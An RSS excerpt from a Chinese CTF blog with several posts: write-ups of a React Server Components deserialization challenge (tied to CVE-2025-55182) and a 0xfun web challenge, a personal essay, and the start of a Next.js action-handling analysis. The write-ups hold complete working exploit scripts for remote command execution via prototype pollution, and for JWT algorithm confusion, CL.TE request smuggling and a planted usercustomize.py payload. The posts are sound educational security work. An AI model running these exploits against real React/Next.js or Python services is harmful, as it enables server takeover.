    if &quot;timeout&quot; not in extensions:
        timeout = (
            self.timeout
            if isinstance(timeout, UseClientDefault)
            else Timeout(timeout)
        )
        extensions = dict(**extensions, timeout=timeout.as_dict())
    return Request(
        method,
        url,
        content=content,
        data=data,
        files=files,
        json=json,
        params=params,
        headers=headers,
        cookies=cookies,
        extensions=extensions,
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以看到_merge_queryparams和_merge_cookies，_merge_headers以及_merge_url&lt;/p&gt;
&lt;p&gt;可以看到最后的extension，去验证了看看是否有扩展有危险拼入&lt;/p&gt;
&lt;p&gt;果然不出所料，没有，继续追踪&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Request:
    def __init__(
        self,
        method: str,
        url: URL | str,
        *,
        params: QueryParamTypes | None = None,
        headers: HeaderTypes | None = None,
        cookies: CookieTypes | None = None,
        content: RequestContent | None = None,
        data: RequestData | None = None,
        files: RequestFiles | None = None,
        json: typing.Any | None = None,
        stream: SyncByteStream | AsyncByteStream | None = None,
        extensions: RequestExtensions | None = None,
    ) -&amp;gt; None:
        self.method = method.upper()
        self.url = URL(url) if params is None else URL(url, params=params)
        self.headers = Headers(headers)
        self.extensions = {} if extensions is None else dict(extensions)

        if cookies:
            Cookies(cookies).set_cookie_header(self)

        if stream is None:
            content_type: str | None = self.headers.get(&quot;content-type&quot;)
            headers, stream = encode_request(
                content=content,
                data=data,
                files=files,
                json=json,
                boundary=get_multipart_boundary_from_content_type(
                    content_type=content_type.encode(self.headers.encoding)
                    if content_type
                    else None
                ),
            )
            self._prepare(headers)
            self.stream = stream
            # Load the request body, except for streaming content.
            if isinstance(stream, ByteStream):
                self.read()
        else:
            # There&apos;s an important distinction between `Request(content=...)`,
            # and `Request(stream=...)`.
            #
            # Using `content=...` implies automatically populated `Host` and content
            # headers, of either `Content-Length: ...` or `Transfer-Encoding: chunked`.
            #
            # Using `stream=...` will not automatically include *any*
            # auto-populated headers.
            #
            # As an end-user you don&apos;t really need `stream=...`. It&apos;s only
            # useful when:
            #
            # * Preserving the request stream when copying requests, eg for redirects.
            # * Creating request instances on the *server-side* of the transport API.
            self.stream = stream
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;boundary=get_multipart_boundary_from_content_type(
content_type=content_type.encode(self.headers.encoding)
if content_type
else None&lt;/p&gt;
&lt;p&gt;这里的boundary分块可以被ct头指定，也就是说我们可以通过掌控CT头去增加form-data块&lt;/p&gt;
&lt;p&gt;然后我们看回题目源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  action = request.files.get(&quot;action&quot;)
  act = json.loads(action.stream.read().decode())
  if act[&quot;type&quot;] == &quot;echo&quot;: 
     return content, 200
  elif act[&quot;type&quot;] == &quot;debug&quot;:
     return content.format(app), 200
  else:
     return &apos;unkown action&apos;, 400
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到读取了form-data的action，注意是file.get&lt;/p&gt;
&lt;p&gt;act也就是action的数据流，如果里面的type的key是debug&lt;/p&gt;
&lt;p&gt;就直接渲染app的上下文。我们也就是直接把context上下文渲染走format路线&lt;/p&gt;
&lt;p&gt;然后后置的路线也就是我们控制了通过拿到了global的apikey，然后&lt;/p&gt;
&lt;p&gt;就能访问admin去执行jinjia模板渲染&lt;/p&gt;
&lt;p&gt;于是利用传输大于500kb的文件去达到写入临时文件，然后就可以加载jinjia模板了&lt;/p&gt;
&lt;p&gt;当然我认为重要的点在前置。&lt;/p&gt;
&lt;p&gt;OK了，exp可以在先知社区参考，这里就不放出了&lt;/p&gt;
</content:encoded></item><item><title>来自bearcatctf国际赛的小小RSC反序列</title><link>https://ymsora.com/posts/rsc%E5%8F%8D%E5%BA%8F%E5%88%971/</link><guid isPermaLink="true">https://ymsora.com/posts/rsc%E5%8F%8D%E5%BA%8F%E5%88%971/</guid><description>bearcatCTF的一题</description><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;来自bearcatctf国际赛的小小RSC反序列&lt;/h1&gt;
&lt;p&gt;在bearcatctf国际赛上又一次撞见了RSC反序列，这次没有waf，这样可以直接进行原型链。&lt;/p&gt;
&lt;p&gt;上次aliyun做的题把原型链全ban了，这次的轻松多了&lt;/p&gt;
&lt;p&gt;不太像放图片，我就直接口述吧&lt;/p&gt;
&lt;p&gt;先放放请求包格式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1
Host: chal.bearcatctf.io:38270
Content-Length: 471
Next-Action: 3fee78e8995a129cd1c598459b0203a43f700478
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2wGJp2c6AKkFYaS3
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Origin: http://chal.bearcatctf.io:38270
Referer: http://chal.bearcatctf.io:38270/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: userId=016e358a-dc59-4b22-8711-416cc1ab3a6c
Connection: keep-alive

------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name=&quot;1_$ACTION_ID_3fee78e8995a129cd1c598459b0203a43f700478&quot;


------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name=&quot;1_title&quot;

s
------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name=&quot;1_content&quot;

s
------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name=&quot;0&quot;

[&quot;$K1&quot;]
------WebKitFormBoundary2wGJp2c6AKkFYaS3--
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;next-action的解码上次已经完整走过一次了，只要注意下细节就好了&lt;/p&gt;
&lt;p&gt;同样的首先还是要注意chunk块头的解析，也就是以下的规则&lt;/p&gt;
&lt;p&gt;0 = 那串json
1 = &quot;$@0&quot;
这时0会被当成对象去进行解析，直接看看chunk块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;then&quot;: &quot;$1:__proto__:then&quot;,
    &quot;status&quot;: &quot;resolved_model&quot;,
    &quot;reason&quot;: -1,
    &quot;value&quot;: &apos;{&quot;then&quot;:&quot;$B0&quot;}&apos;,
    &quot;_response&quot;: {
        &quot;_prefix&quot;: JS,
        &quot;_formData&quot;: {&quot;get&quot;: &quot;$1:constructor:constructor&quot;},
    },
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的then拿到真实object的then方法，status不多说，详情请见我的CVE-2025-55182深度解析&lt;/p&gt;
&lt;p&gt;解析value的默认规则贴一下。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; case &quot;B&quot;:
            return (
              (obj = parseInt(value.slice(2), 16)),
              response._formData.get(response._prefix + obj)
            );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里是return response._formData.get(response._prefix + obj)然后obj是0，上文不放出了。&lt;/p&gt;
&lt;p&gt;而formdata的get方法已经被劫持了，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$1:constructor:constructor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成了function，所以它默认接收function，然后_prefix被改写成了恶意js，然后就执行了系统命令&lt;/p&gt;
&lt;p&gt;贴一贴脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64, json, re, requests

HOST = &quot;http://chal.bearcatctf.io:38270&quot;
ACTION = &quot;3fee78e8995a129cd1c598459b0203a43f700478&quot;
COOKIES = {&quot;userId&quot;: &quot;016e358a-dc59-4b22-8711-416cc1ab3a6c&quot;}
ROUTER_STATE = &quot;%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D&quot;

HEADERS = {
    &quot;Accept&quot;: &quot;text/x-component&quot;,
    &quot;Next-Action&quot;: ACTION,
    &quot;Next-Router-State-Tree&quot;: ROUTER_STATE,
    &quot;Origin&quot;: HOST,
    &quot;Referer&quot;: HOST + &quot;/&quot;,
}

def make_js(cmd: str) -&amp;gt; str:
    cmd = cmd.replace(&quot;\\&quot;, &quot;\\\\&quot;).replace(&quot;&apos;&quot;, &quot;\\&apos;&quot;)
    return f&quot;&quot;&quot;
var cp = process.mainModule.require(&apos;child_process&apos;);
var out = cp.execSync(&quot;sh -lc &apos;{cmd}&apos; 2&amp;gt;&amp;amp;1&quot;).toString();
var b = Buffer.from(out,&apos;utf8&apos;).toString(&apos;base64&apos;);
throw Object.assign(new Error(&apos;NEXT_REDIRECT&apos;),{{
  digest:&apos;NEXT_REDIRECT;push;/?b=&apos;+b+&apos;;307;&apos;
}});
&quot;&quot;&quot;.strip()

def exploit(cmd: str):
    JS = make_js(cmd) + &quot;//&quot;  # 末尾注释吃掉拼接的 0
    crafted_chunk = {
        &quot;then&quot;: &quot;$1:__proto__:then&quot;,
        &quot;status&quot;: &quot;resolved_model&quot;,
        &quot;reason&quot;: -1,
        &quot;value&quot;: &apos;{&quot;then&quot;:&quot;$B0&quot;}&apos;,
        &quot;_response&quot;: {
            &quot;_prefix&quot;: JS,
            &quot;_formData&quot;: {&quot;get&quot;: &quot;$1:constructor:constructor&quot;},
        },
    }

    files = {
        f&quot;1_$ACTION_ID_{ACTION}&quot;: (None, &quot;&quot;),
        &quot;0&quot;: (None, json.dumps(crafted_chunk)),
        &quot;1&quot;: (None, &apos;&quot;$@0&quot;&apos;),
    }

    r = requests.post(HOST + &quot;/&quot;, headers=HEADERS, cookies=COOKIES, files=files, timeout=15)
    text = r.text

    m = re.search(r&quot;/\?b=([A-Za-z0-9+/=]+);307;&quot;, text)
    if not m:
        print(&quot;[-] no base64 leak found. status =&quot;, r.status_code)
        print(text[:1200])
        return None

    out = base64.b64decode(m.group(1)).decode(&quot;utf-8&quot;, errors=&quot;replace&quot;)
    print(&quot;status =&quot;, r.status_code)
    print(out)
    return out

if __name__ == &quot;__main__&quot;:
    # 先确认执行环境
    exploit(&quot;cat /app/flag.txt&quot;)

    # 1) 先看环境变量里有没有 FLAG
    exploit(&quot;echo \&quot;FLAG=$FLAG\&quot;; env | grep -i flag || true&quot;)

    # 2) 枚举常见目录
    exploit(&quot;ls -la /; ls -la /app 2&amp;gt;/dev/null || true; ls -la /srv 2&amp;gt;/dev/null || true; ls -la /home 2&amp;gt;/dev/null || true&quot;)

    # 3) 直接搜 flag 文件（限制深度 + head 防止太慢）
    exploit(&quot;find / -maxdepth 4 -type f -iname &apos;*flag*&apos; 2&amp;gt;/dev/null | head -n 50&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实我个人觉得对于初学者来说，RSC牵扯出了很多js的底层知识，还是需要补充的。&lt;/p&gt;
&lt;p&gt;就这样吧。&lt;/p&gt;
&lt;p&gt;以上~~~&lt;/p&gt;
</content:encoded></item><item><title>a little Me</title><link>https://ymsora.com/posts/me/</link><guid isPermaLink="true">https://ymsora.com/posts/me/</guid><description>想想想想想</description><pubDate>Sat, 21 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;a little Me&lt;/h1&gt;
&lt;p&gt;夜以深。本是安眠的时候.也许这个时候的突然想到了什么吧&lt;/p&gt;
&lt;p&gt;还没想好是否要将这篇文档公开，或许，有时。总会使我忆起。&lt;/p&gt;
&lt;p&gt;那步履薄冰的人生。&lt;/p&gt;
&lt;p&gt;故事有时候开始得让人猝不及防，也许我已经放弃了，也许没有。&lt;/p&gt;
&lt;p&gt;可是我实在想不出有什么在使得我继续书写。&lt;/p&gt;
&lt;p&gt;也许只有自身维系生命的本能使得我如此欺骗自我吧&lt;/p&gt;
&lt;p&gt;不由得有些生气。还有一些，无奈&lt;/p&gt;
&lt;p&gt;这样慢慢听着炉子里的火苗跳动&lt;/p&gt;
&lt;p&gt;好舒服&lt;/p&gt;
&lt;p&gt;这就是欧洲古老的洋馆吗&lt;/p&gt;
&lt;p&gt;悲观主义还是一直伴随着我&lt;/p&gt;
&lt;p&gt;不论自己选择了什么样的道路&lt;/p&gt;
&lt;p&gt;其实，应该消散了&lt;/p&gt;
&lt;p&gt;但是，我也许搞错了吧&lt;/p&gt;
&lt;p&gt;我和什么，是彼此相连的呢&lt;/p&gt;
&lt;p&gt;真的是万维网吗&lt;/p&gt;
&lt;p&gt;我尊崇它&lt;/p&gt;
&lt;p&gt;但是，我也批驳它&lt;/p&gt;
&lt;p&gt;我依然不知自己了&lt;/p&gt;
&lt;p&gt;我依然自诩甚高&lt;/p&gt;
&lt;p&gt;清楚我从来也不曾拥有什么&lt;/p&gt;
&lt;p&gt;同样的&lt;/p&gt;
&lt;p&gt;也没人从我这带走什么&lt;/p&gt;
&lt;p&gt;但是这是我&lt;/p&gt;
&lt;p&gt;别无他法&lt;/p&gt;
&lt;p&gt;获得，传播&lt;/p&gt;
&lt;p&gt;也许我并不想做什么&lt;/p&gt;
&lt;p&gt;我讨厌想来就適当なもの&lt;/p&gt;
&lt;p&gt;还没明白什么&lt;/p&gt;
&lt;p&gt;自己是什么？&lt;/p&gt;
&lt;p&gt;那样的时候早就过去了&lt;/p&gt;
&lt;p&gt;虽然但是&lt;/p&gt;
&lt;p&gt;再等等吧&lt;/p&gt;
&lt;p&gt;再等等&lt;/p&gt;
</content:encoded></item><item><title>记一次随心审计(From 0xfun esay)</title><link>https://ymsora.com/posts/skyport/</link><guid isPermaLink="true">https://ymsora.com/posts/skyport/</guid><description>随心审计</description><pubDate>Tue, 17 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;记一次随心审计(From 0xfun esay)&lt;/h1&gt;
&lt;p&gt;今天是大年初一，不喜欢喧嚣，今天选择在这里审计了一天。不失收获吧&lt;/p&gt;
&lt;p&gt;虽然错过了烟花&lt;/p&gt;
&lt;p&gt;多审计真感觉能提升一些语言理解，在0xfun有一题白盒，我想这可以开个新档审计审计。&lt;/p&gt;
&lt;p&gt;我在想，一切漏洞的先决都是以‘可访问’为最先前提，不管是解析差异或者条件竞争。即便过了一段时间，我依旧这么想。&lt;/p&gt;
&lt;p&gt;可控也就是，任何能被外部请求影响的输入源&lt;/p&gt;
&lt;p&gt;我选择从路由开始&lt;/p&gt;
&lt;p&gt;其中在/departures路由下有js的fetch&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.get(&quot;/departures&quot;)
def departures():
    return _page(&quot;Departures&quot;, &apos;&apos;&apos;
&amp;lt;div class=&quot;card&quot;&amp;gt;
  &amp;lt;h2&amp;gt;Live Departure Board&amp;lt;/h2&amp;gt;
  &amp;lt;table id=&quot;departures&quot;&amp;gt;&amp;lt;thead&amp;gt;&amp;lt;tr&amp;gt;
    &amp;lt;th&amp;gt;Flight&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Destination&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Gate&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Scheduled&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Status&amp;lt;/th&amp;gt;
  &amp;lt;/tr&amp;gt;&amp;lt;/thead&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
fetch(&quot;/graphql&quot;,{method:&quot;POST&quot;,headers:{&quot;Content-Type&quot;:&quot;application/json&quot;},
body:JSON.stringify({query:&quot;{flights{flightNumber destination gate scheduled status}}&quot;})})
.then(r=&amp;gt;r.json()).then(d=&amp;gt;{
  if(!d.data||!d.data.flights)return;
  let t=document.querySelector(&quot;#departures tbody&quot;);
  d.data.flights.forEach(f=&amp;gt;{
    let st=f.status.toLowerCase().replace(&quot; &quot;,&quot;&quot;);
    t.innerHTML+=`&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;strong&amp;gt;${f.flightNumber}&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;${f.destination}&amp;lt;/td&amp;gt;
    &amp;lt;td&amp;gt;${f.gate}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;${f.scheduled}&amp;lt;/td&amp;gt;
    &amp;lt;td&amp;gt;&amp;lt;span class=&quot;badge badge-${st.replace(&quot;ontime&quot;,&quot;on-time&quot;)}&quot;&amp;gt;${f.status}&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;`;
  });
});
&amp;lt;/script&amp;gt;&apos;&apos;&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;json块是{query:&quot;{flights{flightNumber destination gate scheduled status}}&lt;/p&gt;
&lt;p&gt;进行溯源。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graphql_router = strawberry.fastapi.GraphQLRouter(schema, graphql_ide=None)
app.include_router(graphql_router, prefix=&quot;/graphql&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续查找schema定义&lt;/p&gt;
&lt;p&gt;schema = strawberry.Schema(query=GQLQuery, types=[PassengerNode, StaffNode])&lt;/p&gt;
&lt;p&gt;可以看到这里规定了query，继续查找&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@strawberry.type
class GQLQuery:
    node: Node = strawberry.relay.node()

    @strawberry.field
    def passengers(self) -&amp;gt; List[PassengerNode]:
        return [u for u in USERS.values() if u.role == &quot;passenger&quot;]

    @strawberry.field
    def staff(self) -&amp;gt; List[StaffSummary]:
        return [
            StaffSummary(
                username=u.username,
                full_name=u.full_name,
                badge_id=u.badge_id,
                department=u.department,
            )
            for u in USERS.values() if u.role == &quot;staff&quot;
        ]

    @strawberry.field
    def flights(self) -&amp;gt; List[Flight]:
        return [
            Flight(
                flight_number=f.flight_number,
                destination=f.destination,
                gate=f.gate,
                scheduled=f.scheduled,
                status=f.status,
            )
            for f in FLIGHTS
        ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到是一个类，提供了多种数据视图。我们默认请求的是def flights(self) -&amp;gt; List[Flight]:&lt;/p&gt;
&lt;p&gt;但是query并没有做内网转发，而且还有node()接口暴露。&lt;/p&gt;
&lt;p&gt;并且在type对象下还挂载了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@strawberry.type
class StaffNode(Node):
    id: NodeID[int]
    username: str
    full_name: str
    badge_id: Optional[str]
    department: Optional[str]
    access_token: Optional[str]

    @classmethod
    def resolve_node(cls, node_id: str, *, info: Info, **kwargs):
        return USERS.get(int(node_id))

    @classmethod
    def resolve_nodes(cls, *, info: Info, node_ids, required=False):
        return [USERS.get(int(nid)) for nid in node_ids]

    @classmethod
    def is_type_of(cls, obj, info: Info) -&amp;gt; bool:
        return isinstance(obj, UserModel) and obj.role == &quot;staff&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;表明user可以被node查询到并且返回。而user2带有access_token=_STAFF_JWT&lt;/p&gt;
&lt;p&gt;也就是公钥。并且在jwt校验时并没有严格校验alg，这样就能用HS/RS混淆&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload = jose_jwt.decode(token, RSA_PUBLIC_DER, algorithms=None)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改RSA解密为HS256对称加密就可以用已经泄露公钥进行伪造admin字段&lt;/p&gt;
&lt;p&gt;但是网关还是进行了拦截，/internal/*的目录都做了过滤，看看传文件的源码&lt;/p&gt;
&lt;p&gt;我们想到请求走私&lt;/p&gt;
&lt;p&gt;这一步最关键的是端到端解析差异导致，观察相关源码&lt;/p&gt;
&lt;p&gt;EXPOSE 9000，在dockerfile是监听9000端口&lt;/p&gt;
&lt;p&gt;然后在strart.sh&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exec su -s /bin/bash skyport -c &quot;/app/venv/bin/python3 -m hypercorn /app/app:app --bind 127.0.0.1:5000 --workers 2 --worker-class asyncio --max-requests 100&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内部起服务，转发到5000端口，并且两个解析器不一样&lt;/p&gt;
&lt;p&gt;同一条TCP没有经过其他处理，直接转发，尝试请求走私&lt;/p&gt;
&lt;p&gt;原先我在burp发包时它重算了length，重载了chunk。所以失败了&lt;/p&gt;
&lt;p&gt;来个请求走私可视化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ Gateway thinks ]
POST /graphql finished

[ Backend thinks ]
POST /graphql finished
POST /internal/upload executed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时就能让网关以为这是一个请求就能顺利进后端了&lt;/p&gt;
&lt;p&gt;当然，这里的转发规则暂时不深入探讨，就当是自定义网关的信任危机吧&lt;/p&gt;
&lt;p&gt;传入后后端会判断CT头解析为两个请求，也就进了upload&lt;/p&gt;
&lt;p&gt;看看这段源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def sanitize_filename(filename: str) -&amp;gt; str:
    filename = os.path.basename(filename)
    filename = &quot;&quot;.join(c for c in filename if c.isalnum() or c in &quot;._-&quot;)
    filename = &quot;&quot;.join(c for c in filename if ord(c) &amp;gt;= 32)
    return filename if filename else &quot;upload.bin&quot;

async def save_uploaded_file(file: UploadFile) -&amp;gt; Path:
    filename = file.filename or &quot;upload.bin&quot;
    if filename.startswith(&quot;/&quot;):
        destination = Path(filename)
    else:
        safe_name = sanitize_filename(filename)
        destination = UPLOAD_DIR / safe_name
    content = await file.read()
    destination.parent.mkdir(parents=True, exist_ok=True)
    destination.write_bytes(content)
    return destination

@app.post(&quot;/internal/upload&quot;)
async def upload_file(request: Request, file: UploadFile = File(...)):
    if not _require_admin(request):
        return JSONResponse({&quot;error&quot;: &quot;admin token required&quot;}, status_code=401)

    uploaded_path = await save_uploaded_file(file)

    return JSONResponse({
        &quot;message&quot;: &quot;uploaded successfully&quot;,
        &quot;path&quot;: str(uploaded_path)
    })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里如果/开头就直接创建path并且parent加mkdir落盘。&lt;/p&gt;
&lt;p&gt;并且没有任何安全校验。但是我们怎么利用这点是个问题，我们并不能直接启动文件&lt;/p&gt;
&lt;p&gt;再看这&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exec su -s /bin/bash skyport -c &quot;/app/venv/bin/python3 -m hypercorn /app/app:app --bind 127.0.0.1:5000 --workers 2 --worker-class asyncio --max-requests 100&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每个worker进程每启动100次就会重启，重启的python模块会自动载入 site模块&lt;/p&gt;
&lt;p&gt;site模块会尝试import sitecustomize / usercustomize&lt;/p&gt;
&lt;p&gt;所以如果写成 usercustomize.py  并且放在 /home/skyport/.local/lib/python3.11/site-packages/usercustomize.py  类似目录就会执行&lt;/p&gt;
&lt;p&gt;，然后提供了readflag的suid程序。&lt;/p&gt;
&lt;p&gt;直接提权拿到flag。&lt;/p&gt;
&lt;p&gt;构建exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import socket, time, requests

HOST = &quot;chall.0xfun.org&quot;
PORT = 42507
ADMIN = &quot;ADMIN_TOKEN&quot;


# -------- helpers --------

def recv_until(sock, marker=b&quot;\r\n\r\n&quot;):
    data=b&quot;&quot;
    while marker not in data:
        chunk=sock.recv(4096)
        if not chunk: break
        data+=chunk
    return data


def send_request(sock, req):
    sock.sendall(req)
    return recv_until(sock)


# -------- build malicious python --------

payload = b&quot;&quot;&quot;
import subprocess, pathlib
pathlib.Path(&apos;/tmp/skyport_uploads/flag.txt&apos;).write_bytes(subprocess.check_output([&apos;/flag&apos;]))
&quot;&quot;&quot;

boundary=&quot;----sky&quot;

body = (
    f&quot;--{boundary}\r\n&quot;
    f&apos;Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;/home/skyport/.local/lib/python3.11/site-packages/usercustomize.py&quot;\r\n&apos;
    f&quot;Content-Type: application/octet-stream\r\n\r\n&quot;
).encode() + payload + f&quot;\r\n--{boundary}--\r\n&quot;.encode()


upload_req = (
    f&quot;POST /internal/upload HTTP/1.1\r\n&quot;
    f&quot;Host: {HOST}\r\n&quot;
    f&quot;Authorization: Bearer {ADMIN}\r\n&quot;
    f&quot;Content-Type: multipart/form-data; boundary={boundary}\r\n&quot;
    f&quot;Content-Length: {len(body)}\r\n&quot;
    f&quot;Connection: keep-alive\r\n&quot;
    f&quot;\r\n&quot;
).encode() + body


# CL.TE smuggle
front_body = b&quot;0\r\n\r\n&quot; + upload_req

front_req = (
    f&quot;POST /graphql HTTP/1.1\r\n&quot;
    f&quot;Host: {HOST}\r\n&quot;
    f&quot;Content-Type: application/json\r\n&quot;
    f&quot;Content-Length: {len(front_body)}\r\n&quot;
    f&quot;Transfer-Encoding: chunked\r\n&quot;
    f&quot;Connection: keep-alive\r\n&quot;
    f&quot;\r\n&quot;
).encode() + front_body


# -------- exploit --------

print(&quot;[*] connecting&quot;)
sock = socket.create_connection((HOST,PORT))

print(&quot;[*] sending smuggled upload&quot;)
send_request(sock, front_req)

print(&quot;[*] poisoning queue&quot;)
resp = send_request(sock, f&quot;GET / HTTP/1.1\r\nHost: {HOST}\r\nConnection: keep-alive\r\n\r\n&quot;.encode())

if b&quot;uploaded successfully&quot; not in resp:
    print(&quot;[-] upload may have failed&quot;)
else:
    print(&quot;[+] upload confirmed&quot;)

sock.close()


# restart workers
print(&quot;[*] restarting workers&quot;)
for _ in range(180):
    try: requests.get(f&quot;http://{HOST}:{PORT}/&quot;,timeout=0.3)
    except: pass


# fetch flag
print(&quot;[*] waiting for flag&quot;)
for _ in range(30):
    r=requests.get(f&quot;http://{HOST}:{PORT}/uploads/flag.txt&quot;)
    if r.status_code==200 and &quot;0xfun{&quot; in r.text:
        print(&quot;\nFLAG:&quot;,r.text.strip())
        break
    time.sleep(0.5)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>CVE-2025-55182深度解析，另一种可能性链子的追溯</title><link>https://ymsora.com/posts/cve-2025-55182/</link><guid isPermaLink="true">https://ymsora.com/posts/cve-2025-55182/</guid><description>取材阿里云CTF的next-challenge</description><pubDate>Sat, 14 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CVE-2025-55182深度解析，另一种可能性链子的追溯&lt;/h1&gt;
&lt;p&gt;跟完了React解析next-action头动作的全逻辑链，网上很少有全链的解析跟进&lt;/p&gt;
&lt;p&gt;我算也是，浅浅涉足了一下React吧&lt;/p&gt;
&lt;h2&gt;1.React框架的next-action初步&lt;/h2&gt;
&lt;p&gt;业务逻辑的跟进&lt;/p&gt;
&lt;p&gt;关于next-action这个头，是一种函数身份的定位，也就是一串hax值，react框架构建以来，每个函数会绑定一串hax，作为标识符.&lt;/p&gt;
&lt;p&gt;当然我的审计是从next-action的识别及后续开始的，所以我暂时不会在初步构建以及hax加密这块去做工作。&lt;/p&gt;
&lt;p&gt;另外，为了加强文档可读性，我会较多换行。那就 START&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (actionId) {
        const forwardedWorker = (0, _actionutils.selectWorkerForForwarding)(actionId, page, serverActionsManifest);
        // If forwardedWorker is truthy, it means there isn&apos;t a worker for the action
        // in the current handler, so we forward the request to a worker that has the action.
        if (forwardedWorker) {
            return {
                type: &apos;done&apos;,
                result: await createForwardedActionResponse(req, res, host, forwardedWorker, ctx.renderOpts.basePath)
            };
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中selectWorkerForForwarding这个函数，溯源之后是.d.ts的声明文档，在同目录下的js文件处找到了源function。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function selectWorkerForForwarding(actionId, pageName, serverActionsManifest) {
    var _serverActionsManifest__actionId;
    const workers = (_serverActionsManifest__actionId = serverActionsManifest[process.env.NEXT_RUNTIME === &apos;edge&apos; ? &apos;edge&apos; : &apos;node&apos;][actionId]) == null ? void 0 : _serverActionsManifest__actionId.workers;
    const workerName = normalizeWorkerPageName(pageName);
    // no workers, nothing to forward to
    if (!workers) return;
    // if there is a worker for this page, no need to forward it.
    if (workers[workerName]) {
        return;
    }
    // otherwise, grab the first worker that has a handler for this action id
    return denormalizeWorkerPageName(Object.keys(workers)[0]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的serverActionManifest参数类似一张actionid和worker进程的对应表单，下面就是return，其中denormalizeWorkerPagename是返回转发路径的。&lt;/p&gt;
&lt;p&gt;也就是说，serverActionsManifest的action匹配的workers值被赋值给workers，然后denormalizeWorkerPageName将所有对应的workers的路径返回。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*/ function denormalizeWorkerPageName(bundlePath) {
    return (0, _apppaths.normalizeAppPath)((0, _removepathprefix.removePathPrefix)(bundlePath, &apos;app&apos;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来就是1返回的createForwardedActionResponse，简化的最终请求就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const response = await fetch(fetchUrl, {
            method: &apos;POST&apos;,
            body,
            duplex: &apos;half&apos;,
            headers: forwardedHeaders,
            redirect: &apos;manual&apos;,
            next: {
                // @ts-ignore
                internal: 1
            }
        });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;body经过strearm之后可以分块读取数据，body是我们的req，headers是扒res的cookie之类的字段送过去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const forwardedHeaders = getForwardedHeaders(req, res);
&lt;/code&gt;&lt;/pre&gt;
